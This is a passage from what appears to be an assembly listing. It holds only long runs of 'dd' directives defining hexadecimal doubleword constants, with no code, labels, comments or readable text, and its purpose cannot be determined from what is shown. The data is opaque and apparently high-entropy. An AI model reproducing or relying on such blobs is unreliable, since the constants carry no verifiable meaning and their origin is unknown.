18A2E395h dd 1D1AE108h, 0CFB866DBh, 1E13946Bh, 0BF2B2326h, 71156377h dd 7A64202Dh, 23B852AFh, 5FDEA69Ah, 14E553B2h, 0F45BDC6h dd 19867E1Bh, 0EE9F0B20h, 559FDEE7h, 0AABAB2EBh, 0A56D350Dh dd 0B54CD28Fh, 8825864h, 0DFC5A164h, 0EE11E766h, 0E1E92A92h dd 0C6004712h, 0A168591Dh, 11FB8DCCh, 84547525h, 7A817A35h dd 0F5D48CBDh, 9AB0C8D4h, 0CA6B164Ch, 71EC8B30h, 0C15C6DEAh dd 9CF3BEE9h, 6D222BC8h, 0F06C2501h, 0BE526EC7h, 2A9DAA8h dd 2D22CC15h, 96A3EB08h, 4C2990AFh, 0F1D59D50h, 4BCC0617h dd 0A3E12B45h, 0CD8BE899h, 99D9BD01h, 359B878Eh, 0BD28F2CDh dd 613C06EBh, 9DF044A1h, 7A4BA2CAh, 0BB7FA41Ah, 0E6A66310h dd 0C76115C4h, 26791E9Fh, 11577B9Fh, 0A9704A5Eh, 3FE2DACh dd 42E556E2h, 0A23339C5h, 1B68B9FFh, 0E732951Eh, 0E2A877Eh dd 46DEE061h, 8DA8FE7Ch, 69E0F4DEh, 467E36A6h, 9A6BC1C5h dd 4E6FEAECh, 4FC51014h, 0C2826280h, 816C1E49h, 0E6EF4F72h dd 229CF954h, 3781646Bh, 1C91E825h, 8F36B9EDh, 0CFDD39A9h dd 8409DD5h, 2CCD41BBh, 0CF0C0489h, 5E42B274h, 0F76E91D7h dd 0BE8AA07Ah, 0B8DF0D38h, 7E68C13Fh, 3F4091EBh, 4B38E9D5h dd 11AAF73Dh, 0B252C55Eh, 31DC8FF7h, 1C30B103h, 98361A5Eh dd 5AB7F519h, 3BB1785Fh, 0B05FD94Ch, 0CAB9788Fh, 0D674702Ch dd 0A305A61h, 15388FF2h, 0FC9E15EEh, 1A7E69CBh, 0CAA02577h dd 4401BC02h, 0E318DDF6h, 32CF68BCh, 0A124466Eh, 0FC4DDF81h dd 0E5E5E555h, 0CF8C4BBDh, 0A67941ECh, 49429E03h, 845041D1h dd 378FCFB8h, 3890ED70h dd 79C4A877h, 0DBA1C05Dh, 0D7C4061h, 8B5FFB34h, 99EDE3C3h dd 41C9A08Eh, 9F5DF735h, 231B1226h, 4050CCEFh, 0B95870FDh dd 0BE96E6EEh, 234387CAh, 8AEC2F7Dh, 5D7DA1Ch, 5ED18158h dd 95B28771h, 0D410CCF9h, 8A4971CAh, 5ECA42DEh, 3A3CB3E2h dd 714C0903h, 802BFA8Fh, 7C4539C2h, 91F307D7h, 0E4922973h dd 0EEC996DFh, 0FB044924h, 65FB6E95h, 0FE57DAF5h, 0A2B8ED1h dd 47C5BE9h, 3212FFAAh, 6AE59241h, 0B6BE7AF9h, 0E6B5EDF0h dd 8D87EB15h, 0E3D74C64h, 4E0B2299h, 0E8363EE9h, 674EDDEDh dd 63EF6A24h, 7DD937E5h, 0C220F8F7h, 0F66CCB0Ah, 62FEDC54h dd 0D1C14736h, 844C72EDh, 565935B2h, 0E815E739h, 0B0AD54A1h dd 0D92F70Eh, 3369A032h, 33042B5Bh, 0B464E8D2h, 0D8078EE9h dd 92CD5CB5h, 0E552D05Bh, 38345721h, 29FD9E9Ah, 7CEF60FBh dd 0D6213A0Bh, 0D373973Bh, 0FC53AB83h, 2091393Eh, 0C4E10F5Bh dd 8DC191EDh, 0F499E4FBh, 0A2EE3401h, 74E68B28h, 9B83E4C8h dd 57ACD71Ah, 4434A207h, 0BB5849A6h, 519B973Bh, 9EE4DA3h dd 0D22B4662h, 0EE6BD3Fh, 0DDCC726Bh, 5597E4A1h, 0DA02B06Ah dd 99A2C338h, 0F8ED57C0h, 201F4130h, 54EA4F98h, 0D91C458Eh dd 71B09AA8h, 50EF47F5h, 40DD1D66h, 8900ECB2h, 48DF9081h dd 175BC3C3h, 0BFBD5479h, 473C0C5Fh, 71B7EB89h, 2AC53E81h dd 766B9052h, 0A7756E7h, 0D1E76247h, 0D4446C74h, 5597E867h dd 2A2E7FEDh, 0C1047422h, 5943C80Eh, 8275D082h, 629A8228h dd 0C44D98CBh, 340C2E19h, 58EE3107h, 0C7D555A2h, 8CA5615Ch dd 33415CD8h, 0B35240F5h, 364D84D7h, 0D59246C8h, 159B086h dd 0EE9E72FEh, 1262E162h, 0A13D966Eh, 1F372900h, 0B4199FB7h dd 6606342Eh, 850C0C5Eh, 68E49486h, 45212771h, 95F91FC6h dd 5736D3F4h, 97277C45h, 4295F323h, 0EC1F86D8h, 3190152Ah dd 1A360486h, 0B8EB9467h, 9E5AC04Eh, 0BCB79395h, 0B9DCA404h dd 2C2D8393h, 0C169DDCFh, 49ACF466h, 63549C23h, 27F698BFh dd 0AA033E8Fh, 4A6E875Dh, 30490575h, 0AB6D3498h, 0D79B0813h dd 0AD7632CEh, 0A55B33E5h, 0AE131007h, 10A54B7Fh, 0BF34E2F1h dd 0D74C7EACh, 19AEE37Eh, 7A2E859Bh, 6977AED4h, 0E1376054h dd 0DA5137CAh, 0B85ADD10h, 0F5BDE73Bh, 93228422h, 5DAF970Ch dd 43279531h, 8E635300h, 7C5FAFC3h, 9B8D1A35h, 641D92CBh dd 4DC1ED2Dh, 463E6F6Eh, 90210352h, 72A2CF37h, 2FFF87B6h dd 0BD0AF0D0h, 1F0B38A2h, 0DC4154FCh, 83A0B11Dh, 0E23EEE72h dd 52529EB1h, 8DC10B07h, 0EC805DCDh, 0B334DA4Eh, 54A28B69h dd 2E0CEF9Fh, 2BAD0020h, 0F8B75A81h, 5F90A20Dh, 0C67EBC20h dd 2AD6630Dh, 4D305637h, 1956C8A2h, 9C33F0F9h, 45133B9Bh dd 70F90436h, 2DFD95Ch, 0EC47FDE8h, 73513C03h, 0C81AD62Dh dd 2C11DEFEh, 2374D5BAh, 0BD79B15Dh, 0D1315033h, 4F602865h dd 7C0609A9h, 772A2247h, 0E2FE5E74h, 1F925B4Ch, 2DEE4611h dd 0F41C8560h, 0B7C7EE37h, 83E583D0h, 0EC6DCA5Ch, 0D5C265B7h dd 0DAFEC53Eh, 0FA9B56A0h, 9FCC43C1h, 10571886h, 0F0103402h dd 136307BBh, 0EB437E9Dh, 55BD7CF1h, 1B6A8B43h, 0BC79CC6Ah dd 3B0773BCh, 0D6606E69h, 74BE6DFh, 55406F52h, 0AB879447h dd 75D2405Eh, 46C9E982h, 0CE45D52Eh, 978481D2h, 0A886B4CEh dd 0FAA177FEh, 0F798EB82h, 249D74A1h, 0BEC65235h, 0F6595AA6h dd 0F1131551h, 70523B54h, 0B1C1E193h, 0ECAEF55Eh, 1A5B075Ch dd 78F96F62h, 6989B2DCh, 0A60FD202h, 2438948Ch, 6B93EE0Fh dd 8AEE8590h, 4F4855DCh, 10258854h, 96409E16h, 80A63967h dd 358D2214h, 3AC53287h, 381C3448h, 0C12FEC9Eh, 0A664D71Ch dd 57A78B2Ah, 2D922C7Eh, 2EDA32C3h, 0ADD470F2h, 0A1AEDE8Bh dd 80BC149Fh, 7635B71Bh, 0DAC44B7Eh, 0B1E0E679h, 0A1901EEh dd 0ED12CAEFh, 6F359448h, 44A41EFFh, 4E3C1AF2h, 46DCA15Bh dd 5BD68430h, 0BD9CE392h, 0FCF42862h, 0EC525BEFh, 7F9D83Ch dd 0DA6518Eh, 0DDA94541h, 5B2116E4h, 0F5250A23h, 1E167F00h dd 0D989B6B4h, 0B2D85464h, 8AA23B75h, 0D07AF194h, 0B0153523h dd 0C7840627h, 2FF7327Ch, 0E814A3FAh, 4AE2B8BDh, 0A0C36D17h dd 37C52ADFh, 82417D0Ch, 53E614DAh, 545F0DADh, 33004C1Ah dd 21805EA9h, 0C76FF7A4h, 36BC9E42h, 2B4BC561h, 0B7D3947Dh dd 24862F32h, 0A04263A3h, 62F299FCh, 0C3B4ABBFh, 72E7F2EEh dd 5FCB9DDCh, 0BB720B73h, 1B1B97BAh, 0B303422Fh, 8B82B5CFh dd 25AEF794h, 0E0CC2743h, 1E2FB23Ah, 9F6E222Fh, 80B938D6h dd 1C9D7AADh, 0D5EA8093h, 0F09957EFh, 397E6EEEh, 73CA8B5Dh dd 2D97574Fh, 0DC7B1DC3h, 0FFC17Ch, 0CFA51D90h, 81F0F76Eh dd 0C261760Bh, 31A93FD3h, 95E084ADh, 72FF4AF0h, 0F77C73Ah dd 0C4C36BC2h, 0C73A4B7Ah, 0B4BED5D1h, 0B57860DEh, 6DA0E55Fh dd 0CB409BCBh, 0FECD3D7Eh, 7548D38h, 4E34090Bh, 2C11742Ch dd 4BE52C31h, 0D2D6DE0Eh, 10A124D0h, 5A5F8D7Eh, 5AD086EFh dd 6EF16BA6h, 0EE34BFA4h, 2EFCE4C1h, 6109EA17h, 5D9E4347h dd 0B4084B62h, 353E52Bh, 9B79828Dh, 50C2CD92h, 85C793B7h dd 0F3200025h, 19576241h, 540DF07Ah, 161833CFh, 482A97BBh dd 0C806F452h, 798F82BCh, 0ED511E57h, 0E6C2F4Dh, 29255F55h dd 96D222FBh, 35B4D0A3h, 0F7C345C2h, 32A53943h, 0F142E7Eh dd 0AEB9C9D7h, 95190FA5h, 0A07CBC77h, 0D613213Fh, 0A8FCCAE0h dd 45D28689h, 43078B58h, 12E042B1h, 0F62AD794h, 0AEA7AB2Ah dd 0CCAC2A8h, 2CA50AEDh, 5271ED13h, 558522CCh, 828B25F6h dd 821BB042h, 20167215h, 7C03FE72h, 47D81BB3h, 4DC7608Fh dd 0ADB88288h, 9D7B6F62h, 0F5138323h, 0DB73765Dh, 8C2F5D4Eh dd 45579F84h, 1A1AD2D8h, 0B43BFFA7h, 10A09983h, 0DC1A8716h dd 5D5EC5FBh, 3F13D891h, 2CB2BC52h, 5D061A8Dh, 0A79E050Ch dd 3E633484h, 53CF1452h, 0EAB5EA10h, 0E63665C2h, 0CFF9B285h dd 0C854D528h, 0CDBB9083h, 0F0D643Ch, 2083A2DAh, 0E408631Ah dd 20D23B58h, 98A42EBDh, 89733142h, 0C148FD71h, 0B08FD635h dd 183F474Dh, 257F5699h, 2AEC9CA7h, 2EF2ABA7h, 2B9C61C8h dd 23AC8E5Eh, 0EFBC3931h, 0B2E1946Ah, 0F634E551h, 46644E35h dd 78B52FC8h, 0C5E63568h, 4AA3EAB8h, 2858EE9Bh, 0AACBA01Ah dd 5B8DA819h, 3E94D8D1h, 4844C131h, 1488592Ch, 3C0090D8h dd 5C6FEA7Ch, 0BC5493h, 96C35408h, 44854B5Dh, 64D6F255h dd 33491646h, 4200122Ch, 74136FC6h, 0BF0BABB7h, 63ED9B05h dd 86584A70h, 21A0E45Ch, 0E534C38Eh, 9F489AF9h, 8840FB07h dd 415EEDFAh, 2FFC510Dh, 69BB1943h, 39BB775Eh, 0A27F91F5h dd 0F781D683h, 483D09DFh, 7698AE0Bh, 0D888AB07h, 66FB88A1h dd 0C7B9E80Ch, 0C5D2BFB5h, 62A10439h, 0A206E213h, 0CFFAF1F3h dd 25BD3A61h, 0BECBCFD0h, 43F51168h, 82B699FCh, 0E8DE4AD0h dd 3251954Dh, 465C1131h, 0F3D5516Ch, 0EC737845h, 3BED419Ch dd 8B9F57AAh, 3F424F83h, 0CF4D4BF8h, 0EC930EE6h, 0BCBE3803h dd 0C64729Ch, 2D4BEEA1h, 11F0F562h, 0AC34EC84h, 32565EEBh dd 0B48E2069h, 97420226h, 707B7D64h, 43D7E103h, 0B4A46ED3h dd 29AA7A37h, 5563F8BBh, 0E50CAFDFh, 79230D5h, 9CDF60D4h dd 2FA92314h, 0EBC29DF7h, 7F0D16ECh, 71AF37E5h, 87B85FD5h dd 2525D59Bh, 0CA13B266h, 0FC4F68C5h, 9E5A3B81h, 36E8A178h dd 0D4893D12h, 0C0EC2446h dd 86E2AD17h, 4A945C1Ah, 0C6B091E5h, 579B4287h, 8164DD68h dd 2A2A8126h, 74622733h, 0E3295722h, 54879E80h, 0EA68EBF5h dd 0B3C2B4F8h, 0E3337FFFh, 1780E547h, 0F97F6511h, 8042FC14h dd 0D4DA6145h, 28EDFFE9h, 0F2665DF4h, 0E573FE15h, 0A605A9D6h dd 0A93FA793h, 2A9658BCh, 68110C1h, 0FA3B49A6h, 88E2F1D6h dd 0D43557FEh, 1D91877Ah, 12D615Fh, 0BB4C602Dh, 0AE57E13Eh dd 30839EBBh, 1B3A6BF7h, 0FB394EDCh, 65DE38C2h, 0AA64A062h dd 0B596575h, 0AAF96730h, 7066D364h, 5F74E1Dh, 7CA4CC33h dd 0EC7285DEh, 0E8CBE123h, 4928247Dh, 0B96CEB41h, 2DCC435Ch dd 70AFF0E4h, 887DD785h, 203D547Ah, 5DC93C15h, 3AD09C5Dh dd 0E5EA4D74h, 8D4BBAAAh, 0D018FB80h, 7E19E85Eh, 0BF12F595h dd 318CA695h, 189C487Ch, 1029CC2Fh, 2E55163Bh, 0BAED0512h dd 0C6B55401h, 2ED9E65Ch, 49FBFF6Dh, 88967AE5h, 3936E7CFh dd 0A2E8AF48h, 679F4996h, 0DC8DC53Fh, 4FDE19CBh, 9E5692ACh dd 2D576F5Dh, 0F2606663h, 0D02C6F2Fh, 0E19851B0h, 2D597771h dd 6AF87203h, 354B9771h, 5482B0CFh, 0F2D4541Ah, 0C0FB0B9h dd 0B0559D46h, 0C930B7D0h, 0BBB4000Ah, 0C59BE9AFh, 4DA87054h dd 0FC213779h, 0CBD7FF86h, 0BC59AB63h, 535BEF56h, 4D86EFD8h dd 0C8F083CBh, 3CB721E8h, 0F5885C01h, 8B3B1A47h, 986D4737h dd 0EEFC4A98h, 6B1520Ch, 7ABFA36Ah, 265CDB45h, 0B3C919ABh dd 0AD57F694h, 277F2F4Eh, 0FA1BAD64h, 349B1A2Eh, 395AA95Fh dd 7CAA6198h, 0DE818CE3h, 0A43BA63Ch, 7651328Ch, 0E10D8A85h dd 0F3C407C4h, 0AFA6E467h, 0D7C9EEDAh, 8519CBCCh, 3B91D904h dd 55DB2CA0h, 0B981CC7Fh, 29B5F759h, 8FEBC3EAh, 948BC9AAh dd 0D52C8A4Dh, 56195675h, 6B4A14h, 0A328DCDAh, 4F68EB3Ah dd 6AFC8D29h, 0E0C6EC39h, 1D092409h, 46D9791Ah, 5AB3E088h dd 12EA332Dh, 0D6D1266Bh, 932CF7ADh, 24117A79h, 876D62B5h dd 8818FA9Fh, 0ED3209E9h, 0FB1202CDh, 2456FC0Ch, 0C726EBBAh dd 0B913602Eh, 5420EA31h, 0D2A8AEB0h, 76E01BD3h, 52BBBF6Fh dd 0F27364EAh, 2CDEF2F8h, 0D90C4E20h, 0D5837D86h, 3383F123h dd 9ADA4A49h, 2F08B4D1h, 67D3101Eh, 36F9F2Bh, 0E595843Bh dd 5ACE3AB8h, 5346EF5Eh, 0C947E09Ah, 7A47ACAEh, 83DD699Dh dd 5B769AA3h, 945064F6h, 0C2724C54h, 0E3E9366Eh, 876DDE04h dd 6CC385BBh, 51E426D4h, 0EF348DDEh, 83E8DBAAh, 0A932F817h dd 99438A63h, 3926803Ah, 676EE255h, 0B9C7F54h, 22E506C4h dd 5A13EEDh, 0D1CC45A1h, 6BB1603Dh, 0A94E5008h, 292FF8F8h dd 973063A9h, 7314815Ah, 0F8BF216Eh, 99557929h, 0BCE41A94h dd 0A986B733h, 5C937684h, 0BA441F0Eh, 56769C06h, 3C7B3896h dd 6EF5A8BCh, 0B0738566h, 0BEB5195Bh, 0D32CEA97h, 0DEFC5A61h dd 4CD559A5h, 0CB37760Dh, 7DF8A790h, 3E1A7ACFh, 28DE41D9h dd 4011FA68h, 74F9994Ch, 8DBD3D0Ch, 0ABA85E42h, 4BE46C5Bh dd 0A7EBDFBEh, 60396CEEh, 0E1351ECDh, 0FA0973BAh, 0F0BC02FCh dd 4D2449E2h, 767AD74Ah, 3AF0147Fh, 0DF46032Fh, 1313AB7h dd 0CF7741A7h, 0E8F65425h, 0A6207DF4h, 0A2A98DE3h, 2D45B21Dh dd 0AD8C35D9h, 539F27F2h, 8419E3F0h, 0A6FCC7FEh, 4106A790h dd 0F3D0E40Eh, 98918395h, 0BA6A05B5h, 49808EB9h, 0E409BCCEh dd 4A924CABh, 0FD864877h, 36C10F61h, 531357A9h, 6139146Ah dd 5F45E174h, 0E81243E9h, 924038D7h, 801325C5h, 108A19B4h dd 0EE899ACCh, 0C82757E4h, 0EC82F26Eh, 0C754CCBEh, 8C9D8A73h dd 0C88911B2h, 1707FB17h, 0CE2E71E2h, 0BD7CA737h, 4C4F69C5h dd 0F8AFF4CCh, 0A1B07E0Ah, 896F3B50h, 40E382B7h, 0CED00503h dd 497C31DFh, 0F47ED8DEh, 47F20F2Bh, 5D590332h, 41D6673Ah dd 8D30D44Ch, 698F144Ah, 0F05639B6h, 0CE03AC20h, 66263h dd 0B72A7B0Dh, 0ED96791Bh, 33D86A0Fh, 0C433AA23h, 4F2D7CAEh dd 2770BD34h, 4A9A0C58h, 0A224444Ch, 0A9E10C75h, 0C810212h dd 3FF85DA9h, 53602F67h, 7C871966h, 347AF64Bh, 0DE7629F4h dd 0B3068410h, 66C6AC38h, 8EA5D54Bh, 47EBAE51h, 87CEE83h dd 5F9C371Fh, 6264F588h, 0EE0323CAh, 0E3D05CAFh, 976BAFAFh dd 0CC50EC7h, 5338AB26h, 0EB2C10E3h, 57145F08h, 0D2DED6C7h dd 0C7A81694h, 0DB62D7D6h, 96F49E08h, 57B77C5Fh, 72907646h dd 138D4786h, 0A97132D4h, 9E8564F1h, 7659DCB6h, 84FD3968h dd 5886C521h, 7C8527BEh, 0C9B657FCh, 66A3B19Eh, 60BD3D6Ah dd 6AC6B5B3h, 0D386F860h, 4CA6F37Ch, 88B25291h, 3A5D439Dh dd 3A3F8C4Ah, 278F5BBAh, 8DCF36BEh, 0E7A5C649h, 55140A79h dd 2C9B7A83h, 0C09140A3h, 0E23CBCDDh, 97B7EF2Fh, 0A5097306h dd 9406E9Fh, 1CA62128h, 39A05Fh, 53401207h, 0A4E28EFAh dd 0DE46928Ch, 5E68B0BFh, 3315A0DBh, 0D4F203CEh, 5C83A476h dd 3D62C00Ah, 43909E84h, 19E0B030h, 4F25CF8Dh, 1CFCC701h dd 0F4FB9AC1h, 5F2B78A4h, 9A7145BCh, 3C315D4Dh, 0AF3B295Dh dd 3500010Ch, 20CF4ABEh, 0CCB5FF6h, 5D398674h, 901F960h dd 893328E2h, 75BE6B4Bh, 0CF484E96h, 0EB614769h, 8A4DE9B8h dd 9642A546h, 0FD5B6BF8h, 7BAB112Bh, 0CC87CAD9h, 97CBB202h dd 0B7810BC1h, 0FFEB5D03h, 0CB37568Fh, 0B04E07h, 52722BB2h dd 288129DFh, 41A73A7Eh, 311CAADDh, 9D71CF7Eh, 877E1B10h dd 0BE26C850h, 0EE0E536Bh, 5CAA3A26h, 0CAB14E16h, 0FC8671A9h dd 3E04B197h, 0BADC7E7Bh, 0FE06212h, 0C0409E47h, 675FC17h dd 0FC470E06h, 67A61332h, 76A69362h, 5081773Dh, 69FB7358h dd 905CC6EFh, 7E9F2008h, 516B0FD1h, 4A21D16Ch, 0F81B1041h dd 9007FCB5h, 224B0214h, 0FAFE7F53h, 6F3306BBh, 29A31F16h dd 7CE5A5ACh, 4361439Eh, 57A0E77Fh, 0BBEECE2Dh, 27DF271h dd 0B65D703h, 0AC08E0E9h, 8A555833h, 5762FC22h, 769BEB8Eh dd 2429B88h, 0EC8A4DABh, 79443ECFh, 4CE37093h, 0C62888C5h dd 1714B5F5h, 0A57176BCh, 6009907Eh, 0BCB37965h, 0EB06DEBAh dd 0FBFC258Fh, 64380B5h, 66A91827h, 0EABE1BAAh, 0D184EF5Dh dd 13BA1207h, 1E554BD0h, 0F4760ECEh, 44308705h, 0D58FB5C5h dd 860B843Eh, 0CE1BCA90h, 7B95F15Ah, 2AB4CFF1h, 0F4A44970h dd 316D76DFh, 1071BC95h, 0C6018B92h, 1B3C198Ah, 0B06D3E82h dd 977F6408h, 0CB213DD2h, 0F5200E12h, 0DCBCAC24h, 0F6EB7FF5h dd 68489C52h, 0FA07A8B0h, 6FD85F81h, 2680F25Eh, 0DC81D181h dd 0DA14B0C1h, 6EB857CCh, 26D16634h, 193999F8h, 0D78B4AFCh dd 8F2D25EEh, 0A450D74Bh, 0F40E06B8h, 48C2768Fh, 851CCD3Eh dd 0FC554DE0h, 7AA70BF3h, 9FB62E9Eh, 0B3D015F7h, 5DC5D2EBh dd 2B5E482Fh, 0E1EFEAC0h, 518C01E5h, 794F93C8h, 0D72EAF02h dd 0DAD6842Ah, 0C3ADAB47h, 85474352h, 6880C724h, 0D7B70290h dd 1431B413h, 77256D88h, 4B25C6D5h, 11BA466Dh, 14AF2A46h dd 6FB6C333h, 4C8B18A1h, 0D033BCD6h, 5DF99509h, 72BEC7D7h dd 0DCB761A6h, 0CA687B21h, 9A5B458Fh, 605BF6BAh, 5FF06834h dd 0B2EE9850h, 0D45E5871h, 25750BBCh, 7094B584h, 54EDC79h dd 91A78B9Eh, 7635221Dh, 0BAB00BDh, 9A75F699h, 63240480h dd 0C7CCB417h, 90906B47h, 56A52A88h, 0D30F007Ch, 0BC6E9A2Bh dd 0FA2A3913h, 90B23014h, 4A086ED7h, 12E4158Eh, 1F3ED707h dd 4FCBF620h, 0F8EA9692h, 8E53F6D3h, 0E54EE16Dh, 0C0BCA2D8h dd 9303B2Eh, 5811E278h dd 50606659h, 91A60652h, 0CB7B5016h, 4DDF89Ah, 13F73CE9h dd 625C2764h, 55EC17FFh, 505CF329h, 0BBB08h, 0D6099EF6h dd 0AAA8951Fh, 0DD43406Dh, 0A088F9A2h, 5A4382D6h, 40713319h dd 71416604h, 442CC480h, 872B6FD5h, 0D9A1A8Dh, 7BAD4DE8h dd 962E6C7Fh, 9EE14947h, 0C1ED66C0h, 1DAEA434h, 0E094F685h dd 2A09AB3Fh, 43B319BAh, 17DCB448h, 6BA49A13h, 7D637FFCh dd 0FE7B3B00h, 0E9989D2h, 0AC73351Bh, 9F0F112Eh, 229F7B80h dd 0D51C3A5Ch, 0B019DE2Bh, 0AF3FEF2Ch, 5DACDE03h, 4122B0ABh dd 58083D6Ch, 0C046713Dh, 0FE592444h, 7DA23941h, 8BD2E5E1h dd 9BFA9871h, 5F464A10h, 8AC2880Fh, 91AFE0FDh, 31214C44h dd 8F2D489Ah, 0F9AB224Bh, 83E449EFh, 4D35F171h, 0EB9F477Eh dd 2A0522DFh, 958AF4FCh, 7093571h, 85C02641h, 67C98B4Fh dd 0CA5604F3h, 0D60A6967h, 89AEF4BDh, 7569BCE5h, 59CB89A5h dd 0ECF2E49Bh, 20FA43F8h, 7636C7CDh, 0FF97BDBh, 0D0EDFDDCh dd 0CA629B98h, 7CDD996Ch, 0AC9971EFh, 5B76AE7Ch, 0ABE60ABEh dd 0B41B73A0h, 10CCD828h, 34130023h, 373D11AAh, 88A62FCAh dd 33061D40h, 0BA1B0EAh, 0AE8E9BABh, 4F823485h, 363AA6EEh dd 6CBC0C5Bh, 0B1936B49h, 52180F76h, 7E29C072h, 7C0B7D14h dd 0C1A4C489h, 0F857543Ch, 0ABA45FC6h, 8B22563Dh, 0C5A69861h dd 0A63C332Bh, 9C995516h, 0C7565227h, 8F8248CFh, 0E6BC6F3Ah dd 0BD930730h, 271BBA7Bh, 2F2FE094h, 8838A098h, 17CB08BCh dd 60E9C2A4h, 0B48E926Eh, 6C58A54Fh, 51F7E632h, 0CE0FA177h dd 0BBB94A81h, 0B45C22h, 9E8B8CC7h, 57B84084h, 2DA6CF55h dd 1EBF2EA9h, 0A9377FA7h, 0CAF7736Ch, 0B820353Ch, 127D4E24h dd 0C33E2571h, 0B8853592h, 1F54E40Fh, 59568F11h, 3DF53F55h dd 0DE68BFB8h, 0D5FB86A1h, 0D5C9A54Eh, 7F482309h, 9B46B8DFh dd 2EFD7723h, 0CB137506h, 5593417Ah, 0E5E6CA10h, 77BFC6D0h dd 0A2E73BD6h, 0CE5B1918h, 6AB9A800h, 6E84C535h, 0EA094C67h dd 0B27150CEh, 75ECAC29h, 2A750A32h, 0DF543636h, 0C538769Eh dd 6EF30898h, 2E4DF54Ch, 22797ED5h, 872D4E54h, 0CF233E9Ah dd 924BFCFBh, 504728EDh, 0DB970EE3h, 518C3907h, 1C29B768h dd 0E306909Bh, 2060582Fh, 12D64729h, 0C17EF255h, 0CBE1B914h dd 3363EA86h, 1EE3AC4Bh, 0E00475A7h, 844004C4h, 0A44BEA0Eh dd 3429F0B7h, 2A55FE96h, 2AA1827Ch, 88C406h, 0A627DD72h dd 0E494F175h, 4200F881h, 0F72DB856h, 0D660106Eh, 53703511h dd 37688185h, 9C654D55h, 0CBEAE492h, 77F89A6Ah, 0EF5C166Eh dd 181D0F42h, 907D0730h, 8D0FDA5Fh, 0DC293C80h, 0DFA4C9DEh dd 0D9272768h, 0CF403854h, 0B3A8B744h, 0C412A7BAh, 159C3C59h dd 985A6AF2h, 0F7C826DDh, 0BC7FD85Fh, 0CD3641E8h, 8386F6D6h dd 56FA5638h, 0B6ED65D5h, 8432E2B5h, 3BA606A2h, 5E7FC1F6h dd 349B8236h, 6974EFDAh, 6DB6AE2Ch, 0D9554467h, 2A950E56h dd 0C7F3DF98h, 0E1D24070h, 5631FDE6h, 85F9507Bh, 0F0147BB9h dd 2B574546h, 1525210Ah, 27036B14h, 686C55A3h, 70987A60h dd 4B8F4A60h, 0E0F8797Ch, 0D4A45AEBh, 8A44D19Ah, 6978C721h dd 3562C385h, 0EAADC417h, 4BF8125Dh, 2DE46B12h, 914F5308h dd 14DF2CCDh, 43A361D8h, 1CD521BEh, 67414084h, 5B7A7D9Ah dd 0C91B6795h, 90FC9DD7h, 0F42A36EDh, 0FDF7C677h, 0DCEB89BEh dd 3B14E170h, 3C9C0388h, 17E8D3B7h, 0E0F4CDECh, 434E1405h dd 0DAB5FEAFh, 154FE5B2h, 0E11A26CBh, 0A9E7AD98h, 5E125FF0h dd 5C688F58h, 8E0D63EEh, 0B0B335EAh, 772BABEFh, 0B2324D4Dh dd 48D1FBA8h, 63A74221h, 1CB3A18Fh, 2D2A4953h, 0ADD6F8C9h dd 1A091664h, 868BCF44h, 9989DD6Dh, 0EA9B4C6Eh, 0D3B1961Ah dd 201D1CB5h, 0C83DA266h, 0BC5BC570h, 9E749A1Fh, 0E02BD565h dd 3A5DB691h, 6757C821h, 21D8DD20h, 0F56FA99Eh, 0C9F7AC00h dd 0C7649337h, 6C194C67h, 43E44750h, 2476EB41h, 7D8875CBh dd 603C97CEh, 74777EF6h, 32730842h, 150D58E8h, 384333B4h dd 3A9C9344h, 40454FB6h, 670A37D7h, 950BA7D2h, 90132310h dd 0A20E778Bh, 6FC2FE6h, 6DA0E001h, 54BA9CA4h, 7767817Ch dd 52D59B27h, 2240F6C7h, 9BE2907Ch, 5D6F3126h, 0EBBDA784h dd 5A7FB2B6h, 2E572BAEh, 8BAF8547h, 0E52DF87Fh, 1A19905Ah dd 0E099EC40h, 691DB982h, 90DB50BBh, 0AC47CC57h, 7A0C0D9Eh dd 9FD95A55h, 0C6F17946h, 4D7E6A5h, 74A2408Fh, 84A7F0F4h dd 0E9A3BC59h, 0E66E6F9Bh, 36A752C2h, 0C32D5933h, 2B3FC045h dd 0F93DBDFBh, 0A18027Bh, 547F544Eh, 58A2D319h, 141306Fh dd 0E63BFD02h, 521FD6B4h, 0BD86958Ah, 0AA9E8CE6h, 13DD438h dd 0C0389099h, 9D7F440Dh, 89A66415h, 7F59DE4Ch, 34545465h dd 0C1DC4FA0h, 0F9B006A1h, 86FBCABh, 188AE4B2h, 0F588A523h dd 0AA15DE8Bh, 86CD6C66h, 0EFEDEBEDh, 515AC713h, 0E4D48E50h dd 0C0673F72h, 0CBCDDE41h, 0BDA7A539h, 0C49D696Fh, 0C05AFAA2h dd 72E36D88h, 5DEBDD82h, 9EE864CEh, 0E92E6D64h, 4A9B3A1Bh dd 31E9892Ch, 0BCA87C83h, 0BDA6EE4Eh, 66903A83h, 90A76476h dd 543FEFA3h, 0E893D8C0h, 0E381D0CBh, 26B47F38h, 6D4EAF77h dd 0A193D001h, 5396239Ch, 1A1F8593h, 841AC401h, 916D9BBDh dd 71A2EC00h, 66D005F8h, 97CC9F5Bh, 262878E9h, 5D9BFE1Fh dd 4A29DACEh, 412CF756h, 7D62C083h, 5308F075h, 70018837h dd 40ECF608h, 5AE0788Ah, 9DE940CDh, 0D136567Dh, 0DBF2E9D4h dd 61B82692h, 0EEB42E5Fh, 945936BDh, 4400D178h, 0AB0F7A64h dd 572AFDA6h, 8767A0FFh, 0F79D5C88h, 71F92519h, 59360206h dd 16F34CEDh, 8EB405Fh, 2B288F76h, 0BDF5257Eh, 0C391F63Bh dd 0F33A5BF3h, 18A6C4D6h, 16597129h, 996AAC03h, 4DFB657Ch dd 4C9D344Bh, 0E5006F24h, 3BBA4CC2h, 0B9742C96h, 2B89090h dd 9CA3EAA3h, 0A475C385h, 0DE13A311h, 0E0306776h, 80CADE50h dd 0CA605033h, 55A51F5Bh, 1042CF44h, 0E7B331CCh, 6057974Eh dd 68153552h, 4857AE0Ah, 0A1FAFEE2h, 78984026h, 8931C06Eh dd 0CF1E2DD7h, 64EB1CE9h, 0F510AA76h, 0DC2C7E8Dh, 28D23F64h dd 0DF690946h, 0A1CF787Ah, 7B6E7078h, 0B35FB7D2h, 0E4B7AD5h dd 88FAE207h, 0C6E3CD1h, 914DFAF2h, 0AF8C5C2Dh, 0C0AF2DD1h dd 36E4C654h, 90A17A28h, 783F5D2Ch, 0A513DC12h, 53F45A96h dd 0ECCE819Ch, 0DBFA86D3h, 182754E9h, 1565FA25h, 0AA561BE3h dd 215341D2h, 0EF77CF23h, 0E87C0D19h, 0C662AA81h, 0DA0FB4F2h dd 7D63200Eh, 0E083FE69h, 158D734h, 